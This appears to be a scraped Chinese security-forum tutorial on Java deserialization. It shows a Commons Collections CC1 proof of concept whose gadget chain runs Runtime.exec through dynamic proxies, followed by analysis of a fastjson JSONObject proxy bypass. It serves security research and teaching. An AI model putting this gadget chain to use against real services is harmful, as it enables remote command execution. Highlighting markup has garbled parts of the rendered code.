invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:53, Util (common)
runGadgets:38, Util (common)
main:33, Fastjson4_ObjectFactoryDelegatingInvocationHandler
```
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-e89394e3c48dea31e8a1806caed54ba05e18dd4a.png)
然后调用 JSONObject 的 invoke 方法
```php
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
int parameterCount = method.getParameterCount();
Class&amp;lt;?&amp;gt; returnType = method.getReturnType();
if (parameterCount == 1) {
if ("equals".equals(methodName)) {
return this.equals(args[0]);
} else {
Class proxyInterface = null;
Class&amp;lt;?&amp;gt;[] interfaces = proxy.getClass().getInterfaces();
if (interfaces.length == 1) {
proxyInterface = interfaces[0];
}
if (returnType != Void.TYPE &amp;amp;&amp;amp; returnType != proxyInterface) {
throw new JSONException("This method '" + methodName + "' is not a setter");
} else {
String name = this.getJSONFieldName(method);
if (name == null) {
if (!methodName.startsWith("set")) {
throw new JSONException("This method '" + methodName + "' is not a setter");
}
name = methodName.substring(3);
if (name.length() == 0) {
throw new JSONException("This method '" + methodName + "' is an illegal setter");
}
name = Character.toLowerCase(name.charAt(0)) + name.substring(1);
}
this.put(name, args[0]);
return returnType != Void.TYPE ? proxy : null;
}
}
} else if (parameterCount == 0) {
if (returnType == Void.TYPE) {
throw new JSONException("This method '" + methodName + "' is not a getter");
} else {
String name = this.getJSONFieldName(method);
Object value;
if (name == null) {
boolean with = false;
int prefix;
if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) &amp;amp;&amp;amp; methodName.length() &amp;gt; (prefix = with ? 4 : 3)) {
char[] chars = new char[methodName.length() - prefix];
methodName.getChars(prefix, methodName.length(), chars, 0);
if (chars[0] &amp;gt;= 'A' &amp;amp;&amp;amp; chars[0] &amp;lt;= 'Z') {
chars[0] = (char)(chars[0] + 32);
}
String fieldName = new String(chars);
if (fieldName.isEmpty()) {
throw new JSONException("This method '" + methodName + "' is an illegal getter");
}
value = this.get(fieldName);
if (value == null) {
return null;
}
} else {
if (!methodName.startsWith("is")) {
if ("hashCode".equals(methodName)) {
return this.hashCode();
}
if ("toString".equals(methodName)) {
return this.toString();
}
if (methodName.startsWith("entrySet")) {
return this.entrySet();
}
if ("size".equals(methodName)) {
return this.size();
}
Class&amp;lt;?&amp;gt; declaringClass = method.getDeclaringClass();
if (declaringClass.isInterface() &amp;amp;&amp;amp; !Modifier.isAbstract(method.getModifiers()) &amp;amp;&amp;amp; !JDKUtils.ANDROID &amp;amp;&amp;amp; !JDKUtils.GRAAL) {
MethodHandles.Lookup lookup = JDKUtils.trustedLookup(declaringClass);
MethodHandle methodHandle = lookup.findSpecial(declaringClass, method.getName(), MethodType.methodType(returnType), declaringClass);
return methodHandle.invoke(proxy);
}
throw new JSONException("This method '" + methodName + "' is not a getter");
}
if ("isEmpty".equals(methodName)) {
value = this.get("empty");
if (value == null) {
return this.isEmpty();
}
} else {
name = methodName.substring(2);
if (name.isEmpty()) {
throw new JSONException("This method '" + methodName + "' is an illegal getter");
}
name = Character.toLowerCase(name.charAt(0)) + name.substring(1);
value = this.get(name);
if (value == null) {
return false;
}
}
}
} else {
value = this.get(name);
if (value == null) {
return null;
}
}
if (!returnType.isInstance(value)) {
Function typeConvert = JSONFactory.getDefaultObjectReaderProvider().getTypeConvert(value.getClass(), method.getGenericReturnType());
if (typeConvert != null) {
value = typeConvert.apply(value);
}
}
return value;
}
} else {
throw new UnsupportedOperationException(method.toGenericString());
}
}
```
最后返回的是 value我们主要关心 value
因为我们调用的方法是 getObejct\\
会进入如下的 if
```php
if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) &amp;amp;&amp;amp; methodName.length() &amp;gt; (prefix = with ? 4 : 3)) {
char[] chars = new char[methodName.length() - prefix];
methodName.getChars(prefix, methodName.length(), chars, 0);
if (chars[0] &amp;gt;= 'A' &amp;amp;&amp;amp; chars[0] &amp;lt;= 'Z') {
chars[0] = (char)(chars[0] + 32);
}
String fieldName = new String(chars);
if (fieldName.isEmpty()) {
throw new JSONException("This method '" + methodName + "' is an illegal getter");
}
value = this.get(fieldName);
if (value == null) {
return null;
}
```
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-7e60e01fad04aa6d9691e48c1c21c35b498d7b25.png)
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-aaf64a831d90f81a17a0a7cd236ef8e3324b0683.png)
可以看出来是取出了我们的对象,成功达成目的
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-51ccf2ed066e656539d343500e6f30b882db1940.png)
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-e5388b8cf01a4cf3c3bc95e95ed0d0549446824c.png)
最后成功达成目的</textarea>
<div id=layer-photos-demo>
<div id=md_view><div class=markdown-body><h1 blockindex=0>fastjson 原生反序列化配合动态代理绕过限制</h1>
<h2 blockindex=1>前言</h2>
<p blockindex=2>对于动态代理,只记得 cc1 接触过一次,然后就没有怎么碰到过了,而且动态代理似乎利用面还是比较广的,许多关键时刻都会使用到,这里正好来重新学习学习,还记得入门 java 的时候动态代理就学了半天,感觉确实很抽象</p>
<h2 blockindex=3>cc1 动态代理初识</h2>
<p blockindex=4>首先是我们的调用链</p>
<pre blockindex=5><code class="hljs language-php">AnnotationInvocationHan.readobject--proxy.entryset--AnnotationInvocationHan.invoke--LazyMap.get--chainedTransformer.transformer....
</code></pre>
<p blockindex=6><strong>POC</strong></p>
<pre blockindex=7><code class="hljs language-php">package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
<span class=hljs-keyword>public</span> <span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>CC1lazy</span> </span>{
<span class=hljs-keyword>public</span> <span class=hljs-built_in>static</span> <span class=hljs-keyword>void</span> main(<span class=hljs-keyword>String</span>[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
<span class=hljs-comment>//定义一系列Transformer对象,组成一个变换链</span>
Transformer[] transformers = <span class=hljs-keyword>new</span> Transformer[]{
<span class=hljs-comment>//返回Runtime.class</span>
<span class=hljs-keyword>new</span> ConstantTransformer(Runtime.<span class=hljs-keyword>class</span>),
<span class=hljs-comment>//通过反射调用getRuntime()方法获取Runtime对象</span>
<span class=hljs-keyword>new</span> InvokerTransformer(<span class=hljs-string>"getMethod"</span>, <span class=hljs-keyword>new</span> <span class=hljs-class><span class=hljs-keyword>Class</span>[]</span>{<span class=hljs-keyword>String</span>.<span class=hljs-keyword>class</span>, <span class=hljs-class><span class=hljs-keyword>Class</span>[].<span class=hljs-title>class</span>}, <span class=hljs-title>new</span> <span class=hljs-title>Object</span>[]</span>{<span class=hljs-string>"getRuntime"</span>,<span class=hljs-literal>null</span>}),
<span class=hljs-comment>//通过反射调用invoke()方法</span>
<span class=hljs-keyword>new</span> InvokerTransformer(<span class=hljs-string>"invoke"</span>, <span class=hljs-keyword>new</span> <span class=hljs-class><span class=hljs-keyword>Class</span>[]</span>{<span class=hljs-keyword>Object</span>.<span class=hljs-keyword>class</span>, <span class=hljs-keyword>Object</span>[].<span class=hljs-keyword>class</span>}, <span class=hljs-keyword>new</span> <span class=hljs-keyword>Object</span>[]{<span class=hljs-literal>null</span>, <span class=hljs-literal>null</span>}),
<span class=hljs-comment>//通过反射调用exec()方法启动notepad</span>
<span class=hljs-keyword>new</span> InvokerTransformer(<span class=hljs-string>"exec"</span>, <span class=hljs-keyword>new</span> <span class=hljs-class><span class=hljs-keyword>Class</span>[]</span>{<span class=hljs-keyword>String</span>.<span class=hljs-keyword>class</span>}, <span class=hljs-keyword>new</span> <span class=hljs-keyword>Object</span>[]{<span class=hljs-string>"calc"</span>})
};
<span class=hljs-comment>//将多个Transformer对象组合成一个链</span>
ChainedTransformer chainedTransformer = <span class=hljs-keyword>new</span> ChainedTransformer(transformers);
HashMap hash = <span class=hljs-keyword>new</span> HashMap&amp;lt;&amp;gt;();
<span class=hljs-comment>//使用chainedTransformer装饰HashMap生成新的Map</span>
Map decorate = LazyMap.decorate(hash, chainedTransformer);
<span class=hljs-comment>//通过反射获取AnnotationInvocationHandler类的构造方法</span>
<span class=hljs-class><span class=hljs-keyword>Class</span> <span class=hljs-title>c</span> = <span class=hljs-title>Class</span>.<span class=hljs-title>forName</span>("<span class=hljs-title>sun</span>.<span class=hljs-title>reflect</span>.<span class=hljs-title>annotation</span>.<span class=hljs-title>AnnotationInvocationHandler</span>");
<span class=hljs-title>Constructor</span> <span class=hljs-title>constructor</span> = <span class=hljs-title>c</span>.<span class=hljs-title>getDeclaredConstructor</span>(<span class=hljs-title>Class</span>.<span class=hljs-title>class</span>, <span class=hljs-title>Map</span>.<span class=hljs-title>class</span>);
//设置构造方法为可访问的
<span class=hljs-title>constructor</span>.<span class=hljs-title>setAccessible</span>(<span class=hljs-title>true</span>);
//通过反射创建 <span class=hljs-title>Override</span> 类的代理对象 <span class=hljs-title>instance</span>,并设置其调用会委托给 <span class=hljs-title>decorate</span> 对象
<span class=hljs-title>InvocationHandler</span> <span class=hljs-title>instance</span> = (<span class=hljs-title>InvocationHandler</span>) <span class=hljs-title>constructor</span>.<span class=hljs-title>newInstance</span>(<span class=hljs-title>Override</span>.<span class=hljs-title>class</span>, <span class=hljs-title>decorate</span>);
//因为<span class=hljs-title>AnnotationInvocationHandler</span>是继承了代理接口的,所以可以直接使用它的构造器去构造一个代理的处理器,但是需要强转
//创建<span class=hljs-title>Map</span>接口的代理对象<span class=hljs-title>proxyInstance</span>,并设置其调用处理器为<span class=hljs-title>instance</span>
<span class=hljs-title>Map</span> <span class=hljs-title>proxyInstance</span> = (<span class=hljs-title>Map</span>) <span class=hljs-title>Proxy</span>.<span class=hljs-title>newProxyInstance</span>(<span class=hljs-title>Map</span>.<span class=hljs-title>class</span>.<span class=hljs-title>getClassLoader</span>(), <span class=hljs-title>new</span> <span class=hljs-title>Class</span>[]</span>{Map.<span class=hljs-keyword>class</span>}, instance);
<span class=hljs-comment>//再次通过反射创建代理对象</span>
<span class=hljs-keyword>Object</span> o = constructor.newInstance(Override.<span class=hljs-keyword>class</span>, proxyInstance);
serialize(o);
unserialize(<span class=hljs-string>"1.bin"</span>);
}
<span class=hljs-keyword>public</span> <span class=hljs-built_in>static</span> <span class=hljs-keyword>void</span> serialize(<span class=hljs-keyword>Object</span> obj) throws IOException {
ObjectOutputStream out = <span class=hljs-keyword>new</span> ObjectOutputStream(Files.newOutputStream(Paths.get(<span class=hljs-string>"1.bin"</span>)));
out.writeObject(obj);
}
<span class=hljs-keyword>public</span> <span class=hljs-built_in>static</span> <span class=hljs-keyword>void</span> unserialize(<span class=hljs-keyword>String</span> filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = <span class=hljs-keyword>new</span> ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
</code></pre>
<p blockindex=8>这里我们只对动态代理的部分做分析</p>
<p blockindex=9>这里本来的目的是寻找一个能够嫁接调用 get 的地方</p>
<p blockindex=10>找到了 AnnotationInvocationHandler 的 invoke 方法</p>
<pre blockindex=11><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-keyword>Object</span> invoke(<span class=hljs-keyword>Object</span> var1, Method var2, <span class=hljs-keyword>Object</span>[] var3) {
<span class=hljs-keyword>String</span> var4 = var2.getName();
<span class=hljs-class><span class=hljs-keyword>Class</span>[] <span class=hljs-title>var5</span> = <span class=hljs-title>var2</span>.<span class=hljs-title>getParameterTypes</span>();
<span class=hljs-title>if</span> (<span class=hljs-title>var4</span>.<span class=hljs-title>equals</span>("<span class=hljs-title>equals</span>") &amp;<span class=hljs-title>amp</span>;&amp;<span class=hljs-title>amp</span>; <span class=hljs-title>var5</span>.<span class=hljs-title>length</span> == 1 &amp;<span class=hljs-title>amp</span>;&amp;<span class=hljs-title>amp</span>; <span class=hljs-title>var5</span>[0] == <span class=hljs-title>Object</span>.<span class=hljs-title>class</span>) </span>{
<span class=hljs-keyword>return</span> this.equalsImpl(var3[<span class=hljs-number>0</span>]);
} <span class=hljs-keyword>else</span> <span class=hljs-keyword>if</span> (var5.length != <span class=hljs-number>0</span>) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> <span class=hljs-built_in>AssertionError</span>(<span class=hljs-string>"Too many parameters for an annotation method"</span>);
} <span class=hljs-keyword>else</span> {
<span class=hljs-keyword>switch</span> (var4) {
<span class=hljs-keyword>case</span> <span class=hljs-string>"toString"</span>:
<span class=hljs-keyword>return</span> this.toStringImpl();
<span class=hljs-keyword>case</span> <span class=hljs-string>"hashCode"</span>:
<span class=hljs-keyword>return</span> this.hashCodeImpl();
<span class=hljs-keyword>case</span> <span class=hljs-string>"annotationType"</span>:
<span class=hljs-keyword>return</span> this.type;
<span class=hljs-keyword>default</span>:
<span class=hljs-keyword>Object</span> var6 = this.memberValues.get(var4);
<span class=hljs-keyword>if</span> (var6 == <span class=hljs-literal>null</span>) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> IncompleteAnnotationException(this.type, var4);
} <span class=hljs-keyword>else</span> <span class=hljs-keyword>if</span> (var6 <span class=hljs-keyword>instanceof</span> ExceptionProxy) {
<span class=hljs-keyword>throw</span> ((ExceptionProxy)var6).generateException();
} <span class=hljs-keyword>else</span> {
<span class=hljs-keyword>if</span> (var6.getClass().isArray() &amp;amp;&amp;amp; <span class=hljs-keyword>Array</span>.getLength(var6) != <span class=hljs-number>0</span>) {
var6 = this.cloneArray(var6);
}
<span class=hljs-keyword>return</span> var6;
}
}
}
}
</code></pre>
<p blockindex=12>只需要它的 memberValues 可以控制就 ok</p>
<p blockindex=13>所以就回到了如何触发 invoke 的问题上来了</p>
<p blockindex=14><img src=data:image/png;base64,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
<p blockindex=15>可以看到他 implements 了InvocationHandler 这个接口,说明这个类也可以动态代理</p>
<p blockindex=16>因为实现了这个接口必须重写一个 invoke 方法,而且方法会在代理对象的方法被调用时执行,所以我们如果创建一个动态代理,而且把它作为代理的处理器,那么就可以成功的触发 invoke 方法<br>
我们知道因为动态代理的缘故,只要有代理对象的方法被触发,他也会触发。</p>
<p blockindex=17>具体的 cc1 的细节我们就不看了,关键就是如何出的 invoke 方法</p>
<p blockindex=18>接下来是怎么创建一个代理,来把这个类作为代理对象?我们只要使用 Proxy 创建一个代理实例,将我们构造的 AnnotationInvocationHandler 对象作为调用处理器传入。代理什么?</p>
<p blockindex=19>由于 AnnotationInvocationHandler.readObject() 是反序列化的入口,我们需要通过 AnnotationInvocationHandler 来包装由 Proxy 创建的代理对象,并将其重新序列化。<br>
在反序列化时memberValues 的 entrySet() 方法会被调用,而我们希望 memberValues 内部存储的代理对象能够触发 invoke() 方法,从而进入我们构造的链条。<br>
因为 memberValues 是一个 Map 类型,所以我们需要通过 Proxy 创建一个 Map 类型的代理对象。</p>
<p blockindex=20>简单的调试看看调用栈</p>
<pre blockindex=21><code class="hljs language-php">invoke:<span class=hljs-number>57</span>, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-<span class=hljs-number>1</span>, <span class=hljs-variable>$Proxy1</span> (com.sun.proxy)
readObject:<span class=hljs-number>444</span>, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-<span class=hljs-number>1</span>, NativeMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>62</span>, NativeMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>43</span>, DelegatingMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>497</span>, Method (java.lang.reflect)
invokeReadObject:<span class=hljs-number>1058</span>, ObjectStreamClass (java.io)
readSerialData:<span class=hljs-number>1900</span>, ObjectInputStream (java.io)
readOrdinaryObject:<span class=hljs-number>1801</span>, ObjectInputStream (java.io)
readObject0:<span class=hljs-number>1351</span>, ObjectInputStream (java.io)
readObject:<span class=hljs-number>371</span>, ObjectInputStream (java.io)
unserialize:<span class=hljs-number>67</span>, CC1lazy (cc1)
main:<span class=hljs-number>57</span>, CC1lazy (cc1)
</code></pre>
<p blockindex=22>这里因为调用了 public abstract java.util.Set java.util.Map.entrySet()触发了动态代理<br>
调用代理的 invoke 方法,从而接起了后面的链子</p>
<h2 blockindex=23>JdkDynamicAopProxy 代理绕过</h2>
<p blockindex=24>当然上面的代理虽然是我们链子中的常客,但是限制还是很大的,因为在高版本的 jdk 改了</p>
<p blockindex=25>这里我们看看这个动态代理类</p>
<p blockindex=26>首先如何寻找这种代理呢</p>
<p blockindex=27>其实很简单,只需要实现我们的接口,我们找接口的实现类</p>
<p blockindex=28><img src="data:image/png;base64,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